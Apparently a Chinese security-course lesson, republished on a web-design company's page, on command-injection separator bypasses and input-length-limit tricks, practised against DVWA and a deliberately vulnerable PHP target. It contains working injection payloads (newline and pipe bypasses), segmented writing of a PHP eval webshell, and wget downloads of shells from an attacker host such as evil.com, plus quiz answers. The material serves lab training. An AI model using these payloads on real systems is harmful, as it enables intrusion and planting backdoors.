尧图网络 高端网站定制 · 原创设计
免费咨询热线
400-888-6620
免费获取方案
【八个月网安课程】第十三周·周五:命令拼接符号、管道符与长度限制绕过
在掌握了命令执行函数后今天将聚焦于如何突破命令字符串本身的限制当分隔符被过滤时如何用其他符号替代当命令长度受限时如何通过精巧的构造在极短空间内实现完整攻击。这是命令注入从理论走向实战的关键一步也是绕过各种 WAF 和自定义过滤器的基础功。第十三周·周五命令拼接符号、管道符与长度限制绕过 今日学习目标达成效果能熟练使用至少 6 种命令分隔符、、|、||、;、%0a在注入点追加命令并理解每个符号的执行逻辑差异能在符号被过滤的情况下通过编码绕过、用%0a换行符替代分号、利用管道符传输数据等方法继续执行命令能在面对长度限制如只允许输入 10 个字符时使用短命令技巧如ls、wget、文件重定向、命令拆分写入等方法实现 Webshell 落地能在 DVWA 中高难度或自建靶场中应对过滤了、;的防御使用|、||或换行符完成注入能总结通用绕过思路先判断允许的字符再选用最短且能达意的 payload必要时分段执行或借助文件写入。 一、命令拼接符号的执行逻辑与绕过选择Linux Shell 提供了多种将多个命令串联或并联的方式它们在执行逻辑上有细微差别这决定了在特定场景下哪个能用、哪个会被过滤。符号示例执行逻辑注入利用要点;cmd1 ; cmd2顺序执行无论 cmd1 成功与否cmd2 都执行最常用但常被简单过滤cmd1 cmd2仅当 cmd1成功返回码 0时才执行 cmd2需要 cmd1 成功可先放行合法命令cmd1 cmd2cmd1 后台运行同时 cmd2 立即执行不依赖 cmd1 成功输出可能交错cmd1cmd2cmd1%0a(换行)cmd1%0acmd2在 HTTP 参数中等同于新起一行Shell 会顺序执行最强大的绕过通常不被普通过滤覆盖%0d%0a(回车换行)类似换行Windows 下常用有时需配合选择策略若;被过滤尝试|、、||。若所有常规符号被过滤尝试%0a换行在 POST 请求体中或在 URL 中编码为%0a。在 Windows 靶场中%0a同样有效此外和可用。实战笔记在 Burp Repeater 中可以直接在参数值后插入换行符按回车观察响应。若成功说明服务器将参数直接传入 shell 且未过滤换行。 二、管道符|的巧妙利用|原本用于连接两个命令将前者的输出传给后者。在命令注入中即使第二个命令不需要输入它也能执行。例如127.0.0.1|whoamiping的输出会传给whoami但whoami忽略输入直接输出当前用户名。页面将显示www-data或相应用户。更高级的利用如果我们需要执行的命令需要参数且整个 payload 长度受限可以用管道将前一个命令的输出作为后一个命令的参数。比如echowhoami|shecho输出whoami管道后sh读取该字符串作为命令执行。这可以在某些长度受限或无法直接写命令的场景下使用。防御绕过有些过滤器可能只检测;、、||而忽略了|这使得|成为最容易绕过的一种方式。DVWA Medium 级别正是如此——只替换了和;|和仍可用。 三、长度限制绕过在区区几个字节内种下后门很多命令注入点对输入长度有严格限制如仅允许 10 个字符。此时直接的whoami可能都超长更不用说echo ?php ... shell.php这种几十字节的 payload。如何突破1. 使用极短命令ls、id等系统命令本身就短。wget短 URL 下载文件wget -O a 攻击者IP/a可以下载远程脚本并执行。curl类似但wget一般更短。2. 利用重定向创建文件覆盖写入文件追加写入。如果一次只能输入很少字符可以多次注入每次追加一部分内容最终拼接成完整的木马文件。例如将?php eval($_POST[1]);?分段写入echo?phps.phpecho evals.phpecho($_POSTs.phpecho[1]);s.phpecho?s.php虽然这里每条仍较长但可以进一步缩短甚至利用系统命令如lss.php输入文件名列表配合特定文件名组成 PHP 代码高难度技巧。3. 利用环境变量或文件内容如果服务器上存在某些包含字母的文件如/etc/hostname可以通过读取该文件的一部分来拼凑命令。使用*通配符、?匹配。例如cat /???/?????可以匹配/etc/passwd如果路径唯一。4. 经典示例7 个字符写入?php system($_GET[1]);?Wargame 常见使用wget短域名或利用ls、分段写入。但今天无需完全掌握该技巧重点是知道长度不是不可逾越的障碍。实战简化版假设目标长度限制为 30 字符我们要写入?短标签的一句话echo ?ls;?a.php长度大约 20 字符可在限制内。若echo被禁可用printf等替代。✍️ 四、动手实践一DVWA Command Injection 高级绕过环境DVWA 安全等级设为 High或 Medium。1. Medium 级别使用|绕过Medium 过滤了和;我们之前已试过|和。今天再次验证输入127.0.0.1 | whoami页面返回www-data成功。输入127.0.0.1 | ls -la可列出目录文件。2. High 级别换行符绕过DVWA High 的源码使用黑名单过滤了、;、|、-、$、(、)、、||等多个符号。但未过滤换行符。在 Burp 拦截请求将 POST 参数ip的值改为127.0.0.1%0awhoami注意在 POST Body 中直接输入127.0.0.1后按下回车键然后输入whoamiBurp 会自动生成换行符。但需确保 URL 编码正确。更可靠的是直接在值中使用%0a。放行后页面输出 ping 结果和www-data绕过成功。若%0a被过滤尝试%0d%0a或使用\n。记录这种绕过证明了黑名单无论多全只要遗漏一个分隔符防线就可能被突破。✍️ 五、动手实践二长度限制绕过的模拟实验1. 搭建限制长度命令注入靶场创建length_limit.php?phpif(isset($_GET[cmd])){$cmd$_GET[cmd];if(strlen($cmd)15){die(命令长度不能超过 15 字符);}system($cmd);}else{echo提交 ?cmd;}?假设现在你需要在这个短小的执行环境中获得可操作的 Webshell。2. 突破思路与测试直接ls查看目录3 字符有效。ls -la共 5 字符可看详细列表。id查看权限2 字符。现在写一句话木马需要?php eval($_POST[1]);?加上echo ... shell.php总长度远超 15。如何做技巧使用wget从远程下载wget 攻击机IP/shell.phpwget下载的文件默认保存为原文件名长度可能超过 15wget本身 4 字符IP 地址可能较长如192.168.1.100/s.txt长度可能超过 15。可用短域名服务或短 IP内网可能直接使用短 IP。如果无法缩短则改用多步写入。分段追加写入由于长度限制每次只能写入 15 字符可以通过多次请求逐步构建文件。第一次echo ?phpa(注意长度)第二次echo evala第三次echo ($_POSTa… 但这依然需要很多次且echo命令本身占 4 字符可写入的内容较少。更高效的方法是写入一个下载脚本printf wget u.r b然后执行sh b下载远程完整木马。printf可以精确输出字符串比echo更灵活。实际上真正的短长度绕过在 CTF 中通常不超过 5 字符需要极巧妙的技巧。今天你只需理解通过多次请求拼凑文件的思想并能在实战中想到“如果长度不够可以用 wget 或分段写入”。思考如果目标限制在 10 字符以内且不允许出网如何写入?可以使用lsa结合精心构造的文件名文件名就是代码片段但这属于极限环境仅作了解。 六、课后测试题与解析测试题 1当;和都被过滤时请写出另外三种可以分隔命令的符号并说明其中一种的具体利用 payload。参考答案可使用的符号|、||、、%0a换行符。利用示例使用|原始请求ip127.0.0.1|whoamiWeb 应用执行ping -c 4 127.0.0.1 | whoami页面将显示whoami的结果。测试题 2如果命令注入点的输入长度被限制为 20 个字符如何在上传目录写入一个可执行的 PHP 一句话木马简述你的思路。参考答案可以采用多步操作使用wget从远程服务器下载完整木马文件如果目标允许出网wget http://evil.com/s长度可能超过 20 时使用短域名或 IP 的十进制表示缩短长度若无法出网则采用分段写入。分段写入通过多次注入每次向一个文件追加一小段代码。例如第一次echo ?phpa第二次echo evala第三次echo ($_POSTa……直到拼出完整的?php eval($_POST[1]);?最后将文件重命名为.php后缀。如果系统支持printf或其他命令可构造更短的写入语句。关键是利用多次请求积攒代码。✅ 今日学习效果自检清单我能默写出至少 5 种命令分隔符并说清它们的作用我在 DVWA 中分别用|、||、换行符成功绕过了不同级别的过滤我理解了管道符|不只能连接命令还能传递数据我亲手搭建了长度限制靶场并尝试了分段写入或短命令绕过我明白了 WAF 黑名单的脆弱性以及换行符绕过的隐蔽性我知道在极端长度限制下可以先下载远程脚本或分段构建文件⚠️ 阶段避坑重点换行符的编码在 GET 请求中%0a必须放在 URL 参数中且某些 WAF 会对其进行拦截。可尝试%0d%0a或 Unicode 编码。长度计算要精确在构造分段 payload 时务必在测试环境中先计算每个命令的准确长度避免因空格、引号等字符超出限制。管道符|执行时前一个命令的输出可能干扰结果例如ping | whoamiping 的输出会作为标准输入传给 whoami虽然 whoami 不处理如果 whoami 是过滤后的命令可能无影响。但有些命令会因输入而产生非预期行为。最好使用;或避免数据干扰。分段写入时注意文件权限和目录确保目标目录可写且分段追加过程中不被其他进程或用户清理。不要忘记清理痕迹实验结束后删除写入的测试文件。今天你学会了在命令注入受限条件下的变通艺术。明天我们将综合本周所学进行一次命令注入的综合实战融合符号绕过、长度限制、无回显外带等多种技巧完成从探测到获取系统权限的全流程。请保留你今天的测试环境和记录明天继续征服更复杂的场景。
RELATED

相关推荐

基于 LSTM 的车载 CAN 总线入侵检测:从 125 万条真实数据的“毒打”到工程化落地

基于 LSTM 的车载 CAN 总线入侵检测:从 125 万条真实数据的“毒打”到工程化落地

一、项目背景与真实数据的挑战 智能网联汽车里,CAN 总线是连接各个 ECU 的核心网络。不过 CAN 总线在设计之初极度缺乏安全认证与加密机制,很容易遭到黑客的 DoS、重放、模糊测试等攻击。 这个项目主要是利用深度学习(LSTM)的时序…

📅 2026/11/2 6:33:11
为什么电池测试结果会出现噪声和波动?到底是电池问题还是设备问题?

为什么电池测试结果会出现噪声和波动?到底是电池问题还是设备问题?

现场最让设备工程师头疼的情况之一就是:“数据有点飘。”它可能表现为:电压抖动。电流波动。曲线出现尖峰。不同通道数据不一致。那么到底是什么原因?一、首先要考虑测试对象本身电池并不是理想元件。在充放电过程中,它本身就可能…

📅 2026/11/2 6:33:11
Python 数据处理进阶(二十四)把脚本变成工具:argparse、logging 与定时任务

Python 数据处理进阶(二十四)把脚本变成工具:argparse、logging 与定时任务

写在前面 这是第二批的最后一篇。前 23 篇把「怎么处理数据」讲完了,这一篇讲怎么让脚本被别人用起来。 写给自己用的脚本,改参数、print 调试、手动运行都没问题;但只要交给同事、或者要每周自动跑,就必须补三件事:参…

📅 2026/11/2 6:33:11
MORE NEWS

更多资讯

📰

SLDS 2.0分布式架构演进:物流系统性能优化与容灾实践

1. 项目概述:SLDS 2.0的架构演进背景全球物流履约网络SLDS 2.0的架构升级,源于传统单体架构在业务量爆发式增长下的三大核心痛点:首先是订单处理能力的天花板效应,当单日订单量突破千万级时,集中式数据库的I/O瓶颈导致…

📰

从Sentinel-1参数表读懂SAR幅宽与分辨率约束

简介:围绕常见遥感卫星参数整理的PDF文档,面向遥感入门学习者、地信与测绘专业学生,以及需要快速查阅卫星平台信息的科研人员,可用于课程报告、论文综述和应用选型时的横向对比。全文按卫星系列组织,覆盖Sentinel、Lan…

📰

车辆横向控制算法对比:MPC、PID、Stanley与纯跟踪

1. 项目概述:车辆横向轨迹跟踪的多算法对比实验这个项目搭建了一个完整的车辆横向控制仿真平台,通过Simulink与Carsim的联合仿真环境,系统性地对比了MPC(模型预测控制)、PID(比例积分微分控制)、…

📰

AI Agent核心机制:状态机原理与工程实践

1. AI Agent与状态机的本质关联第一次接触AI Agent这个概念时,我正为一个电商客服系统设计对话引擎。当时尝试了各种复杂的深度学习模型,却发现最稳定的方案竟然是用有限状态机(FSM)实现的流程控制。这让我意识到,无论AI Agent的外表多么智能…

📰

大模型+知识库+工作流:智能体落地的三要素实战指南

1. 这不是概念炒作,是正在发生的生产力重构“大模型知识库工作流智能体”——这句话最近在技术圈、产品圈甚至运营和法务团队的晨会上频繁出现。它不像“元宇宙”或“Web3”那样带着浓重的资本叙事味道,而更像一句工程师写在白板角落的公式:简…

📰

数学建模论文智能写作工具评测与优化策略

1. 数学建模论文写作痛点与智能工具需求分析数学建模竞赛论文写作长期存在三大核心痛点:公式编辑效率低下、数据可视化耗时费力、格式规范难以统一。传统LaTeX排版虽然专业但学习曲线陡峭,而Word在复杂公式处理上又显得力不从心。根据2023年全国大学生数…

TODAY

今日更新

THIS WEEK

本周精选

THIS MONTH

本月热门

读完文章,想聊聊您的网站?

告诉我们您的行业与需求,资深顾问一对一梳理方案与报价,全程免费。

📞 💬